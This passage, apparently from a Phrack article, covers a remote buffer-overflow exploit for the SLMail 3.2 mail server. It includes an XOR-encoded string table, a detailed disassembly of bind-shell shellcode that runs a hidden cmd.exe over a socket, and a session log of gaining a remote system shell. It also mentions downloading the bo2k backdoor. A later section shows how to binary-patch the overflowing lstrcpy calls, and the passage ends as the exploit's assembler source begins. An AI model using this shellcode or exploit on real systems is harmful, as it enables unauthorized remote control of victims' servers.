000002A0 FC ED CA ED F8 EB ED EC-E9 D0 F7 FF F6 D8 99 DA ................
|
||
000002B0 EB FC F8 ED FC C9 EB F6-FA FC EA EA D8 99 DA F5 ................
|
||
000002C0 F6 EA FC D1 F8 F7 FD F5-FC 99 C9 FC FC F2 D7 F8 ................
|
||
000002D0 F4 FC FD C9 F0 E9 FC 99-DE F5 F6 FB F8 F5 D8 F5 ................
|
||
000002E0 F5 F6 FA 99 CE EB F0 ED-FC DF F0 F5 FC 99 CB FC ................
|
||
000002F0 F8 FD DF F0 F5 FC 99 CA-F5 FC FC E9 99 DC E1 F0 ................
|
||
00000300 ED C9 EB F6 FA FC EA EA-99 CE CA D6 DA D2 AA AB ................
|
||
00000310 99 EA F6 FA F2 FC ED 99-FB F0 F7 FD 99 F5 F0 EA ................
|
||
00000320 ED FC F7 99 F8 FA FA FC-E9 ED 99 EA FC F7 FD 99 ................
|
||
00000330 EB FC FA EF 99 9B 99 82-A1 99 99 99 99 99 99 99 ................
|
||
00000340 99 99 99 99 99 FA F4 FD-B7 FC E1 FC 99 FF FF FF ................
|
||
00000350 FF 0D 0A ...
|
||
|
||
|
||
This will be tacked on to the very end of our shellcode.
|
||
|
||
Now it is time to get to the good stuff.
|
||
|
||
Note: this exploit assumes a base address of 0x00400000
|
||
|
||
The recommended way to follow this is to step over the code in your
|
||
debugger while reading the explanations.
|
||
|
||
|
||
:00000138 33C0 xor eax, eax
|
||
:0000013A 50 push eax
|
||
:0000013B F7D0 not eax
|
||
:0000013D 50 push eax
|
||
:0000013E 59 pop ecx
|
||
:0000013F F2 repnz
|
||
:00000140 AF scasd
|
||
:00000141 59 pop ecx
|
||
:00000142 B1C6 mov cl, C6
|
||
:00000144 8BC7 mov eax, edi
|
||
:00000146 48 dec eax
|
||
:00000147 803099 xor byte ptr [eax], 99
|
||
:0000014A E2FA loop 00000146
|
||
|
||
|
||
This sets edi to the end of our encrypted string table by scanning the buffer
|
||
for our dword (0xFFFFFFFF), ecx holds the amount of characters to decrypt.
|
||
edi is then moved to eax, and each byte is decrypted (XORed with 0x99). eax
|
||
now points to the beginning of the string table.
|
||
|
||
|
||
:0000014C 33F6 xor esi, esi
|
||
:0000014E 96 xchg eax,esi
|
||
:0000014F BB99101144 mov ebx, 44111099
|
||
:00000154 C1EB08 shr ebx, 08
|
||
:00000157 56 push esi
|
||
:00000158 FF13 call dword ptr [ebx]
|
||
|
||
|
||
Here we make a call to LoadLibraryA, pushing esi as the parameter - which
|
||
points to "KERNEL32", the first string of the table. The call is made by
|
||
giving ebx the location of LoadLibrary from SLMails import table, and we
|
||
tack on an extra byte to avoid the use of a null character. We then kill
|
||
it by shifting the value right one byte. LoadLibraryA = 00441110h
|
||
|
||
|
||
:0000015A 8BD0 mov edx, eax
|
||
:0000015C FC cld
|
||
:0000015D 33C9 xor ecx, ecx
|
||
:0000015F B10B mov cl, 0B
|
||
:00000161 49 dec ecx
|
||
:00000162 32C0 xor al, al
|
||
:00000164 AC lodsb
|
||
:00000165 84C0 test al, al
|
||
:00000167 75F9 jne 00000162
|
||
|
||
|
||
We give ecx the amount of procedures we have specified from the kernel, as
|
||
we will be creating a jump table for our functions. Then we just increment
|
||
esi until we reach a null byte - moving to the next string name.
|
||
|
||
|
||
:00000169 52 push edx
|
||
:0000016A 51 push ecx
|
||
:0000016B 56 push esi
|
||
:0000016C 52 push edx
|
||
:0000016D B30C mov bl, 0C
|
||
:0000016F FF13 call dword ptr [ebx]
|
||
:00000171 AB stosd
|
||
:00000172 59 pop ecx
|
||
:00000173 5A pop edx
|
||
:00000174 E2EC loop 00000162
|
||
|
||
|
||
Here we call GetProcAddress, ebx already had the value from LoadLibrary, so we
|
||
only need to modify the low byte. We then store the address at edi, and loop
|
||
for the rest of the functions. We now have a jump table at edi - we can now
|
||
call each function indirectly from edi. e.g.: call dword ptr [edi-0c].
|
||
|
||
|
||
:00000176 32C0 xor al, al
|
||
:00000178 AC lodsb
|
||
:00000179 84C0 test al, al
|
||
:0000017B 75F9 jne 00000176
|
||
:0000017D B310 mov bl, 10
|
||
:0000017F 56 push esi
|
||
:00000180 FF13 call dword ptr [ebx]
|
||
:00000182 8BD0 mov edx, eax
|
||
:00000184 FC cld
|
||
:00000185 33C9 xor ecx, ecx
|
||
:00000187 B106 mov cl, 06
|
||
:00000189 32C0 xor al, al
|
||
:0000018B AC lodsb
|
||
:0000018C 84C0 test al, al
|
||
:0000018E 75F9 jne 00000189
|
||
:00000190 52 push edx
|
||
:00000191 51 push ecx
|
||
:00000192 56 push esi
|
||
:00000193 52 push edx
|
||
:00000194 B30C mov bl, 0C
|
||
:00000196 FF13 call dword ptr [ebx]
|
||
:00000198 AB stosd
|
||
:00000199 59 pop ecx
|
||
:0000019A 5A pop edx
|
||
:0000019B E2EC loop 00000189
|
||
|
||
|
||
This is just a repeat of the earlier code, except now we are extending our
|
||
jump table to include the socket functions.
|
||
|
||
|
||
:0000019D 83C605 add esi, 00000005
|
||
:000001A0 33C0 xor eax, eax
|
||
:000001A2 50 push eax
|
||
:000001A3 40 inc eax
|
||
:000001A4 50 push eax
|
||
:000001A5 40 inc eax
|
||
:000001A6 50 push eax
|
||
:000001A7 FF57E8 call [edi-18]
|
||
:000001AA 93 xchg eax,ebx
|
||
|
||
|
||
Here we push the values SOCK_STREAM, AF_INET, and null for the protocol. We
|
||
then call the 'socket' function.
|
||
|
||
Note: We don't need to call WSAStartup as the target process has taken care of
|
||
that for us
|
||
|
||
We also set esi to point to the socket structure, and we store the return
|
||
value from the socket procedure in ebx so it won't be destroyed by following
|
||
functions.
|
||
|
||
|
||
:000001AB 6A10 push 00000010
|
||
:000001AD 56 push esi
|
||
:000001AE 53 push ebx
|
||
:000001AF FF57EC call [edi-14]
|
||
|
||
|
||
This just makes a call to bind, pushing our socket handle and the socket
|
||
structure as parameters.
|
||
|
||
|
||
:000001B2 6A02 push 00000002
|
||
:000001B4 53 push ebx
|
||
:000001B5 FF57F0 call [edi-10]
|
||
|
||
|
||
Now we call listen, socket handle as the parameter.
|
||
|
||
|
||
:000001B8 33C0 xor eax, eax
|
||
:000001BA 57 push edi
|
||
:000001BB 50 push eax
|
||
:000001BC B00C mov al, 0C
|
||
:000001BE AB stosd
|
||
:000001BF 58 pop eax
|
||
:000001C0 AB stosd
|
||
:000001C1 40 inc eax
|
||
:000001C2 AB stosd
|
||
:000001C3 5F pop edi
|
||
:000001C4 48 dec eax
|
||
:000001C5 50 push eax
|
||
:000001C6 57 push edi
|
||
:000001C7 56 push esi
|
||
:000001C8 AD lodsd
|
||
:000001C9 56 push esi
|
||
:000001CA FF57C0 call [edi-40]
|
||
|
||
|
||
Now we make our first call to CreatePipe, we create our SECURITY_ATTRIBUTES
|
||
structure at edi, and specify that the returned handles are inheritable. esi
|
||
receives our read and write handles returned from the call.
|
||
|
||
|
||
:000001CD 48 dec eax
|
||
:000001CE 50 push eax
|
||
:000001CF 57 push edi
|
||
:000001D0 AD lodsd
|
||
:000001D1 56 push esi
|
||
:000001D2 AD lodsd
|
||
:000001D3 56 push esi
|
||
:000001D4 FF57C0 call [edi-40]
|
||
|
||
|
||
Our second call to CreatePipe, again our read and write handles are stored at
|
||
esi.
|
||
|
||
|
||
:000001D7 48 dec eax
|
||
:000001D8 B044 mov al, 44
|
||
:000001DA 8907 mov dword ptr [edi], eax
|
||
:000001DC 57 push edi
|
||
:000001DD FF57C4 call [edi-3C]
|
||
|
||
|
||
We make a call to GetStartupInfo, the structure will be stored at edi which we
|
||
give the size value. The structure will need to be modified.
|
||
|
||
|
||
:000001E0 33C0 xor eax, eax
|
||
:000001E2 8B46F4 mov eax, dword ptr [esi-0C]
|
||
:000001E5 89473C mov dword ptr [edi+3C], eax
|
||
:000001E8 894740 mov dword ptr [edi+40], eax
|
||
:000001EB 8B06 mov eax, dword ptr [esi]
|
||
:000001ED 894738 mov dword ptr [edi+38], eax
|
||
:000001F0 33C0 xor eax, eax
|
||
:000001F2 66B80101 mov ax, 0101
|
||
:000001F6 89472C mov dword ptr [edi+2C], eax
|
||
:000001F9 57 push edi
|
||
:000001FA 57 push edi
|
||
:000001FB 33C0 xor eax, eax
|
||
:000001FD 50 push eax
|
||
:000001FE 50 push eax
|
||
:000001FF 50 push eax
|
||
:00000200 40 inc eax
|
||
:00000201 50 push eax
|
||
:00000202 48 dec eax
|
||
:00000203 50 push eax
|
||
:00000204 50 push eax
|
||
:00000205 AD lodsd
|
||
:00000206 56 push esi
|
||
:00000207 33C0 xor eax, eax
|
||
:00000209 50 push eax
|
||
:0000020A FF57C8 call [edi-38]
|
||
|
||
|
||
By all means feel free to improve this code to drop some bytes, for example,
|
||
using stosd to modify edi. At the time I was just trying to make it _work_,
|
||
and wasn't particularly worried about the size. What the hell is going on
|
||
here anyway?
|
||
|
||
We are modifying the startupinfo structure before our call to CreateProcess.
|
||
|
||
We replace StdOutput and StdError with the handle of the write end of our
|
||
first created pipe. We then replace StdInput with the read handle of our
|
||
second created pipe. The flags value we set to
|
||
STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES, and we set the ShowWindow value
|
||
to SW_HIDE. esi points to "cmd.exe" and we make the call to CreateProcess.
|
||
|
||
|
||
:0000020D FF76F0 push [esi-10]
|
||
:00000210 FF57CC call [edi-34]
|
||
:00000213 FF76FC push [esi-04]
|
||
:00000216 FF57CC call [edi-34]
|
||
|
||
|
||
CloseHandle is called to close the first read and the second write handles we
|
||
used for our StdHandles.
|
||
|
||
|
||
:00000219 48 dec eax
|
||
:0000021A 50 push eax
|
||
:0000021B 50 push eax
|
||
:0000021C 53 push ebx
|
||
:0000021D FF57F4 call [edi-0C]
|
||
:00000220 8BD8 mov ebx, eax
|
||
|
||
|
||
Now we call accept and wait for a connection. We store the returned handle in
|
||
ebx.
|
||
|
||
|
||
:00000222 33C0 xor eax, eax
|
||
:00000224 B404 mov ah, 04
|
||
:00000226 50 push eax
|
||
:00000227 C1E804 shr eax, 04
|
||
:0000022A 50 push eax
|
||
:0000022B FF57D4 call [edi-2C]
|
||
:0000022E 8BF0 mov esi, eax
|
||
|
||
|
||
Here we create a 1024 byte buffer with GlobalAlloc, pushing
|
||
GMEM_FIXED+GMEM_ZEROINIT which will return a handle that we place in esi.
|
||
|
||
|
||
:00000230 33C0 xor eax, eax
|
||
:00000232 8BC8 mov ecx, eax
|
||
:00000234 B504 mov ch, 04
|
||
:00000236 50 push eax
|
||
:00000237 50 push eax
|
||
:00000238 57 push edi
|
||
:00000239 51 push ecx
|
||
:0000023A 50 push eax
|
||
:0000023B FF77A8 push [edi-58]
|
||
:0000023E FF57D0 call [edi-30]
|
||
:00000241 833F01 cmp dword ptr [edi], 00000001
|
||
:00000244 7C22 jl 00000268
|
||
|
||
|
||
Now we start to get to the guts, this makes a call to PeekNamedPipe to see if
|
||
we have any data in the read end of the pipe (StdOutput/StdError), if not we
|
||
skip the following readfile/send functions as we are waiting on input from
|
||
the user. edi stores the number of bytes read, [edi-58] is the handle to the
|
||
read end of the pipe.
|
||
|
||
|
||
:00000246 33C0 xor eax, eax
|
||
:00000248 50 push eax
|
||
:00000249 57 push edi
|
||
:0000024A FF37 push dword ptr [edi]
|
||
:0000024C 56 push esi
|
||
:0000024D FF77A8 push [edi-58]
|
||
:00000250 FF57DC call [edi-24]
|
||
:00000253 0BC0 or eax, eax
|
||
:00000255 742F je 00000286
|
||
|
||
|
||
We call ReadFile and fill our created buffer with the data from the read-end
|
||
of the pipe, we push the bytesread parameter from our earlier call to
|
||
PeekNamedPipe. If the function fails, i.e.: the command prompt was exited
|
||
- then we jump to the end of our shellcode and call ExitProcess, which will
|
||
kill the slmail process.
|
||
|
||
:00000257 33C0 xor eax, eax
|
||
:00000259 50 push eax
|
||
:0000025A FF37 push dword ptr [edi]
|
||
:0000025C 56 push esi
|
||
:0000025D 53 push ebx
|
||
:0000025E FF57F8 call [edi-08]
|
||
|
||
Now we call send to fire the data from our buffer off to the connected user.
|
||
|
||
|
||
:00000261 6A50 push 00000050
|
||
:00000263 FF57E0 call [edi-20]
|
||
:00000266 EBC8 jmp 00000230
|
||
|
||
|
||
Call Sleep and jump back to PeekNamedPipe.
|
||
|
||
|
||
:00000268 33C0 xor eax, eax
|
||
:0000026A 50 push eax
|
||
:0000026B B404 mov ah, 04
|
||
:0000026D 50 push eax
|
||
:0000026E 56 push esi
|
||
:0000026F 53 push ebx
|
||
:00000270 FF57FC call [edi-04]
|
||
|
||
|
||
This is the point we get to if there was no data in the read pipe, so we call
|
||
recv and receive input from the user.
|
||
|
||
|
||
:00000273 57 push edi
|
||
:00000274 33C9 xor ecx, ecx
|
||
:00000276 51 push ecx
|
||
:00000277 50 push eax
|
||
:00000278 56 push esi
|
||
:00000279 FF77AC push [edi-54]
|
||
:0000027C FF57D8 call [edi-28]
|
||
|
||
|
||
We push the handle of the write end of our pipe (StdInput), and we call
|
||
WriteFile sending the buffer from the user. i.e.: we make it happen.
|
||
|
||
|
||
:0000027F 6A50 push 00000050
|
||
:00000281 FF57E0 call [edi-20]
|
||
:00000284 EBAA jmp 00000230
|
||
|
||
|
||
Call Sleep again and jump back to PeekNamedPipe.
|
||
|
||
|
||
:00000286 50 push eax
|
||
:00000287 FF57E4 call [edi-1C]
|
||
:0000028A 90 nop
|
||
|
||
|
||
The shell has been exited so we call ExitProcess to clean up our mess.
|
||
|
||
And there we have it, full control is at our fingertips.
|
||
|
||
Before we enter the last section, on modifying the executable of our
|
||
target, I'll give a quick example of the exploit in action.
|
||
|
||
|
||
Ownership.
|
||
~~~~~~~~~~
|
||
|
||
E:\exploits>slxploit supermax.gen.nz 8376 1234
|
||
SLMail (3.2.3113) remote.
|
||
by Barnaby Jack AKA dark spyrit <dspyrit@beavuh.org>
|
||
|
||
usage: slxploit <host> <port> <port to bind shell>
|
||
e.g. - slxploit host.com 27 1234
|
||
|
||
waiting for response....
|
||
220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
|
||
|
||
sent.. spawn connection now.
|
||
|
||
|
||
Trying 192.168.10.3...
|
||
Connected to supermax.gen.nz.
|
||
Escape character is '^]'.
|
||
Microsoft(R) Windows NT(TM)
|
||
(C) Copyright 1985-1996 Microsoft Corp.
|
||
|
||
E:\Program Files\SLmail\SYSTEM>
|
||
E:\Program Files\SLmail\SYSTEM>at
|
||
The service has not been started.
|
||
|
||
E:\Program Files\SLmail\SYSTEM>net start schedule
|
||
|
||
The Schedule service is starting.
|
||
The Schedule service was started successfully.
|
||
|
||
E:\Program Files\SLmail\SYSTEM>time
|
||
The current time is: 23:49:36.36
|
||
Enter the new time:
|
||
|
||
E:\Program Files\SLmail\SYSTEM>at 23:51:00 net start slmail
|
||
Added a new job with job ID = 0
|
||
|
||
E:\Program Files\SLmail\SYSTEM>net view
|
||
Server Name Remark
|
||
|
||
-------------------------------------------------------------------------------
|
||
\\SUPERMAX
|
||
The command completed successfully.
|
||
|
||
E:\Program Files\SLmail\SYSTEM>net send supermax beavuh 99.
|
||
The message was successfully sent to SUPERMAX.
|
||
|
||
|
||
E:\Program Files\SLmail\SYSTEM>exit
|
||
exit
|
||
Connection closed by foreign host.
|
||
|
||
Plenty of options, you could also create a file with ftp commands, to
|
||
download bo2k for example, and use NT's console ftp.
|
||
e.g. ftp -s:file host.
|
||
|
||
|
||
Section 3: The Remedy.
|
||
~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
This is perhaps the most important section of the paper, and is not just
|
||
useful for preventing vulnerabilities - the ability to add your own code
|
||
leaves open an endless amount of possibilities as you can imagine.
|
||
|
||
I advise that you have a look at some documentation on the PE file format,
|
||
Matt Peitreks book "Windows 95 System Programming Secrets" has an excellent
|
||
section, otherwise take a look at
|
||
http://msdn.microsoft.com/library/specs/msdn_pecoff.htm for Microsoft's
|
||
documentation.
|
||
|
||
Consider this hypothetical situation for a minute:
|
||
|
||
A huge hole is found rendering most NT servers on the internet vulnerable
|
||
to remote system access. Microsoft stumbles around for a week or so before
|
||
releasing a suitable patch, while during this time some of the largest
|
||
corporations have little to do but pray they won't fall victim to an attack,
|
||
or make the change to alternative software. Hey, that happened a couple of
|
||
months ago! :) But there is an alternative, patch the software yourself.
|
||
|
||
There are 3 main approaches we can take to add our own code.
|
||
|
||
1, Add our code to unused space in a section.
|
||
2, Increase the size of the last section.
|
||
3, Add a new section.
|
||
|
||
The first is the technique we will use, to see an example of the second
|
||
approach have a look at my trojan netstat which will be available at
|
||
http://www.rootkit.com in the near future.
|
||
|
||
Adding your own section - at least as far as what we are doing, won't
|
||
normally be needed, so I won't cover the techniques in this document.
|
||
|
||
Now we need to think about the code we will add, here's a few options:
|
||
|
||
Add our own string length routine, and print out an error message
|
||
depending on the length.. then skip the nasty functions.
|
||
|
||
Add our own string length routine, and place a null at the beginning of
|
||
the buffer depending on the length, so effectively the program thinks
|
||
there was no input and will return a standard 'syntax error' message.
|
||
|
||
Replace the offending strcpy function with a bounds checking version - i.e.:
|
||
do what they should have done in the first place.
|
||
|
||
I think it's obvious the approach we will take, the first option would be
|
||
too involved, the second just isn't delicate - so we'll go with the last.
|
||
|
||
It just so happens that in this case lstrcpynA is in our targets import
|
||
table (if this wasn't the case? we would use the same techniques as shown
|
||
in the shellcode - using the LoadLibrary and GetProcAddress procedures).
|
||
|
||
Grab PE Dump or dumpbin, whatever you have on you.. and dump the section
|
||
table for slmail.exe, if you haven't worked with the PE header before I'll
|
||
explain a little as we go.
|
||
|
||
|
||
Section Table
|
||
01 .text VirtSize: 0003F99B VirtAddr: 00001000
|
||
raw data offs: 00001000 raw data size: 00040000
|
||
relocation offs: 00000000 relocations: 00000000
|
||
line # offs: 00000000 line #'s: 00000000
|
||
characteristics: 60000020
|
||
CODE MEM_EXECUTE MEM_READ
|
||
|
||
|
||
The section we will be working with is the .text section - where the code
|
||
is located. We can see here that the Virtual Size (the actual size of the
|
||
code) is somewhat smaller than the raw data size (the amount of space that is
|
||
actually taken up). So if we subtract the Virtual Size from the raw data
|
||
size :
|
||
|
||
0x40000 - 0x3f99b = 0x665
|
||
|
||
That gives us about 1.6k to play with, easily enough space for what we want to
|
||
do.
|
||
|
||
Why do we have this extra space?
|
||
|
||
Because compilers usually round up the size to align the section, which is
|
||
handy for us :)
|
||
|
||
Fire up your hex editor, and jump to the address 0x4099b (virtual size +
|
||
raw data offset) and you'll notice we have a ton of null bytes, about 1.6k
|
||
worth in fact. This is a perfect place to dump our code - but before we do..
|
||
|
||
We need to increase the Virtual Size to allow for our code, we may as well
|
||
increase it to the largest available size, it won't hurt. We also need to
|
||
modify the flags, as you saw from the dump the .text section is defined code,
|
||
readable and executable.
|
||
|
||
The values are as follows:
|
||
|
||
|
||
IMAGE_SCN_CNT_CODE equ 000000020h
|
||
IMAGE_SCN_MEM_EXECUTE equ 020000000h
|
||
IMAGE_SCN_MEM_READ equ 040000000h
|
||
|
||
|
||
To get the final value we OR each of the flags, which results in 060000020h.
|
||
|
||
But, if we wish to write data to our code space, to avoid page faults we also
|
||
need to make the section writeable - we may not have the need, but it doesn't
|
||
hurt to change the flags anyway.
|
||
|
||
|
||
IMAGE_SCN_MEM_WRITE equ 080000000h
|
||
|
||
|
||
So we OR this value with 060000020h and we get 0E0000020h. This is the new
|
||
value we will add to the exe.
|
||
|
||
Jump back into the hex editor and we'll make these changes permanent, to find
|
||
the Virtual Size value for the .text section, simply do a search for .text
|
||
and the following value is the culprit.
|
||
|
||
|
||
000001D0 00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00 .........text...
|
||
000001E0 9B F9 03 00 <==== ....
|
||
|
||
|
||
To set this to the maximum allowed value we just replace with the raw data
|
||
size:
|
||
|
||
|
||
000001E0 00 00 04 00
|
||
|
||
|
||
And, we also make the change to the flags.
|
||
|
||
|
||
000001D0 00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00 .........text...
|
||
000001E0 9B F9 03 00 00 10 00 00-00 00 04 00 00 10 00 00 ................
|
||
000001F0 00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 60 <=====
|
||
|
||
|
||
We replace with our new value that allows us to write to the code space:
|
||
|
||
|
||
000001F0 00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 E0
|
||
|
||
|
||
We'll quickly verify our changes with PE Dump, then we can actually get to
|
||
what we're here for, getting our code executing.
|
||
|
||
|
||
Section Table
|
||
01 .text VirtSize: 00040000 VirtAddr: 00001000
|
||
raw data offs: 00001000 raw data size: 00040000
|
||
relocation offs: 00000000 relocations: 00000000
|
||
line # offs: 00000000 line #'s: 00000000
|
||
characteristics: E0000020
|
||
CODE MEM_EXECUTE MEM_READ MEM_WRITE
|
||
|
||
|
||
And there we have it, our virtual size equals the raw data size, and we now
|
||
also have the writeable flag.
|
||
|
||
What we need to do now, is find a location to jump to our own code.
|
||
|
||
|
||
004364AE push edi
|
||
004364AF push eax ; we jump here.
|
||
004364B0 push esi
|
||
004364B1 call ds:lstrcpyA
|
||
|
||
|
||
We'll get rid of the strcpy call, and make a jump to our code at the 'push
|
||
eax'. We know our code resides at RVA (relative virtual address) 0x4099b
|
||
so we make our jump. We can assemble our jumps in tasm:
|
||
|
||
jmp $+(04099bh-0364afh)
|
||
|
||
(RVA of our code - RVA of current location)
|
||
|
||
Or, we can do it straight from the debugger.
|
||
|
||
|
||
Let's make it perm.. the code follows:
|
||
|
||
|
||
:004364AA 8B742478 mov esi, dword ptr [esp+78]
|
||
:004364AE 57 push edi
|
||
:004364AF E9E7A40000 jmp 0044099B ;jump to our code
|
||
|
||
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|
||
|:004409A9(U)
|
||
|
|
||
:004364B4 59 pop ecx ;restore ecx on return
|
||
:004364B5 90 nop
|
||
:004364B6 90 nop
|
||
|
||
|
||
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|
||
|:004364AF(U)
|
||
|
|
||
:0044099B 51 push ecx ;preserve ecx
|
||
:0044099C 52 push edx ;preserve edx
|
||
:0044099D E800000000 call 004409A2
|
||
|
||
* Referenced by a CALL at Address:
|
||
|:0044099D
|
||
|
|
||
:004409A2 5A pop edx ;get eip
|
||
:004409A3 81EAA2090400 sub edx, 000409A2 ;get image base
|
||
:004409A9 81C264110400 add edx, 00041164 ;point to strcpyn
|
||
:004409AF 33C9 xor ecx, ecx
|
||
:004409B1 B160 mov cl, 60 ;allow 96 bytes
|
||
:004409B3 51 push ecx
|
||
:004409B4 50 push eax ;our input
|
||
:004409B5 56 push esi ;buffer
|
||
:004409B6 FF12 call dword ptr [edx] ;call strcpyn
|
||
:004409B8 5A pop edx ;restore edx
|
||
:004409B9 E9F65AFFFF jmp 004364B4 ;back to proggie.
|
||
|
||
Yeah, I know, W32Dasm - but hey, its fast and easy for showing code dumps
|
||
:)
|
||
|
||
The stack pointer is basically kept in tact, so we don't need to worry about
|
||
screwing with it.
|
||
|
||
Now, this should have solved our problem - let's check.
|
||
|
||
220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
|
||
expn <10 or so lines of x's>
|
||
|
||
Connection closed by foreign host.
|
||
|
||
Whoops, the slmail process dies.
|
||
|
||
Guess what? there's another overflow. This software is shocking, widely
|
||
used shocking software might I add. Well, let us fix this one also.
|
||
|
||
A couple of rets, and we quickly find the offending code:
|
||
|
||
|
||
00404bb1 mov esi, eax
|
||
00404bb3 push edi
|
||
00404bb4 push ecx
|
||
00404bb5 call [KERNEL32!lstrcpy]
|
||
|
||
|
||
edi contains our input, ecx the buffer.
|
||
|
||
Here we go again.
|
||
|
||
We'll put our code directly after our earlier modifications (0x409be), and
|
||
we'll kill this strcpy call and jump to our code at 'push edi'.
|
||
|
||
|
||
:00404BB1 8BF0 mov esi, eax
|
||
:00404BB3 E906BE0300 jmp 004409BE ;jump to our code
|
||
|
||
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|
||
|:004409E0(U)
|
||
|
|
||
:00404BB8 90 nop
|
||
:00404BB9 90 nop
|
||
:00404BBA 90 nop
|
||
|
||
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|
||
|:00404BB3(U)
|
||
|
|
||
:004409BE 90 nop
|
||
:004409BF 52 push edx ;preserve edx
|
||
:004409C0 E800000000 call 004409C5
|
||
|
||
* Referenced by a CALL at Address:
|
||
|:004409C0
|
||
|
|
||
:004409C5 5A pop edx ;get eip
|
||
:004409C6 81EAC5090400 sub edx, 000409C5 ;get image base
|
||
:004409CC 81C264110400 add edx, 00041164 ;address for strcpyn
|
||
:004409D2 33C0 xor eax, eax
|
||
:004409D4 B060 mov al, 60 ;allow 96 byes
|
||
:004409D6 50 push eax
|
||
:004409D7 57 push edi ;input
|
||
:004409D8 51 push ecx ;buffer
|
||
:004409D9 FF12 call dword ptr [edx] ;call strcpyn
|
||
:004409DB 5A pop edx ;restore edx
|
||
:004409DC C6476000 mov [edi+60], 00 ;cut the goddamn
|
||
;input short,
|
||
;incase there is
|
||
;even more overflows
|
||
:004409E0 E9D341FCFF jmp 00404BB8 ;return to the prog.
|
||
|
||
|
||
This time...
|
||
|
||
220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
|
||
expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
550 Unable to find list 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.
|
||
quit
|
||
221 supermax.gen.nz Service Closing
|
||
Connection closed by foreign host.
|
||
|
||
|
||
And so it was done, 15 minutes work and we've fixed a terribly serious hole.
|
||
|
||
No source? no problem.
|
||
|
||
The binary for this quick patch will be available at http://www.beavuh.org,
|
||
although, a vendor patch is seriously recommended.
|
||
|
||
This will prevent break-ins from the exploit that accompanies this paper,
|
||
but there are far too many exploitable holes in this software - and no
|
||
doubt after reading this other exploits are in the works.
|
||
|
||
|
||
Conclusion.
|
||
~~~~~~~~~~~
|
||
|
||
Windows 9x/NT has a had a relatively easy ride as far as buffer overflows go -
|
||
a change is coming. Although some "big" software has been affected as of
|
||
late, the limitations of the payload and the system dependency limited the
|
||
wide-scale fear.
|
||
|
||
It's time to recognize.
|
||
|
||
The fact that I picked on 3rd party software for this article, rather than
|
||
hitting the giant itself, is not because of lack of opportunities - trust
|
||
me, there is a lot hiding behind the bloat.
|
||
|
||
Navigate the code, work those registers, and you'll come up trumps -
|
||
guaranteed.
|
||
|
||
Fight those who try to outlaw our methods, support the open source
|
||
movement, and support full disclosure - it is a good thing.
|
||
|
||
|
||
"One future. Two choices. Oppose them or let them destroy us."
|
||
|
||
-Propagandhi.
|
||
|
||
|
||
Greets and thanks.
|
||
~~~~~~~~~~~~~~~~~~
|
||
|
||
neophyte, Greg Hoglund, c33, sacX, tree, casper, ripper, ryan, luny,
|
||
sycotic, blitz, marc, Interrupt, ambient empire, DilDog, the beavuh &
|
||
mulysa crew, the eEye team, the rootkit crew, attrition, w00w00, L0pht,
|
||
ADM, Phrack, Security Focus, technotronic, HNN, Packet Storm Security..
|
||
and everyone else I forgot.
|
||
|
||
|
||
The Code.
|
||
~~~~~~~~~
|
||
|
||
The assembler source code follows, and the shellcode for the exploit in c
|
||
format if anyone wishes to port.
|
||
|
||
<++> P55/Win32-overflows/slxploit.asm !e7b4ebd0
|
||
;-------(code)-------------------------------------------------------------
|
||
|
||
; This is just a shell from an old exploit of mine, so the code is somewhat
|
||
; dodgy - and no real error checking.
|
||
; Live with it.
|
||
;
|
||
; The binary is available at http://www.beavuh.org.
|
||
;
|
||
; To assemble:
|
||
;
|
||
; tasm32 -ml slxploit.asm
|
||
; tlink32 -Tpe -c -x sxlploit.obj ,,, import32
|
||
;
|
||
; TASM 5 required!
|
||
;
|
||
; dark spyrit / barnaby jack <dspyrit@beavuh.org>
|
||
|
||
|
||
.386p
|
||
locals
|
||
jumps
